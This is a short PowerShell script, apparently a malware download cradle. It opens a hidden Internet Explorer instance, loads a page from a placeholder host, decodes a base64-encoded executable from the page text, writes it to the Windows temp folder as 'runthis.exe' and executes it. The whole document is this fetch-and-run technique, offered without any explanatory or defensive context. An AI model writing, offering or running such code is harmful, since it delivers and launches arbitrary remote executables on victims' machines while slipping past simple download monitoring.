```powershell
$ie = New-Object -ComObject "InternetExplorer.Application"
$uri = "http://<some host>/base64_exe.html"
$ie.Visible = $false;
$ie.navigate($uri)
while ($ie.Busy) {Start-Sleep -Milliseconds 100 }
$data = $ie.Document.getElementsByTagName('body')[0].innerText

$ie.Quit()
[System.Runtime.InteropServices.Marshal]::ReleaseComObject( $ie )

$filename = "c:/windows/temp/runthis.exe"
[IO.File]::WriteAllBytes($filename, [Convert]::FromBase64String($data))
cmd /C $filename
```